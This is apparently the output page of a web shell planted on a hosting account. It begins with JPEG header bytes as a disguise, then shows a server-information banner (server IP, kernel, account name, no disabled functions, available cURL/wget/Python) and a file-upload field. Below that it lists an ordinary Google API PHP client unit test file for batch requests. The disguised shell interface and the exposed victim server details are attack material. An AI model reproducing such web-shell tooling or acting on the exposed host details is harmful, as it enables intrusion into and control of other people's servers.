ÿØÿà JPEG ÿþ;
| Server IP : 68.65.120.201 / Your IP : 216.73.216.221 Web Server : LiteSpeed System : Linux server179.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64 User : taxhyuvu ( 2294) PHP Version : 8.1.33 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON | Sudo : OFF | Pkexec : OFF Directory : /home/taxhyuvu/www/vendor/google/apiclient/tests/Google/Http/ |
Upload File : |
<?php
/**
* Licensed to the Apache Software Foundation (ASF) under one
* or more contributor license agreements. See the NOTICE file
* distributed with this work for additional information
* regarding copyright ownership. The ASF licenses this file
* to you under the Apache License, Version 2.0 (the
* "License"); you may not use this file except in compliance
* with the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing,
* software distributed under the License is distributed on an
* "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
* KIND, either express or implied. See the License for the
* specific language governing permissions and limitations
* under the License.
*/
namespace Google\Tests\Http;
use Google\Tests\BaseTest;
use Google\Http\Batch;
use Google\Service\Books;
use Google\Service\Storage;
use Google\Service\Exception as ServiceException;
use GuzzleHttp\Psr7;
class BatchTest extends BaseTest
{
public function testBatchRequest()
{
$this->checkKey();
$client = $this->getClient();
$client->setUseBatch(true);
$books = new Books($client);
$batch = $books->createBatch();
$batch->add($books->volumes->listVolumes('Henry David Thoreau'), 'key1');
$batch->add($books->volumes->listVolumes('Edgar Allen Poe'), 'key2');
$result = $batch->execute();
$this->assertArrayHasKey('response-key1', $result);
$this->assertArrayHasKey('response-key2', $result);
}
public function testInvalidBatchRequest()
{
$this->checkKey();
$client = $this->getClient();
$client->setUseBatch(true);
$books = new Books($client);
$batch = $books->createBatch();
$batch->add($books->volumes->listVolumes(false), 'key1');
$batch->add($books->volumes->listVolumes('Edgar Allen Poe'), 'key2');
$result = $batch->execute();
$this->assertArrayHasKey('response-key1', $result);
$this->assertArrayHasKey('response-key2', $result);
$this->assertInstanceOf(
ServiceException::class,
$result['response-key1']
);
}
public function testMediaFileBatch()
{
$client = $this->getClient();
$storage = new Storage($client);
$bucket = 'testbucket';
$stream = Psr7\Utils::streamFor("testbucket-text");
$params = [
'data' => $stream,
'mimeType' => 'text/plain',
];
// Metadata object for new Google Cloud Storage object
$obj = new Storage\StorageObject();
$obj->contentType = "text/plain";
// Batch Upload
$client->setUseBatch(true);
$obj->name = "batch";
/** @var \GuzzleHttp\Psr7\Request $request */
$request = $storage->objects->insert($bucket, $obj, $params);
$this->assertStringContainsString('multipart/related', $request->getHeaderLine('content-type'));
$this->assertStringContainsString('/upload/', $request->getUri()->getPath());
$this->assertStringContainsString('uploadType=multipart', $request->getUri()->getQuery());
}
}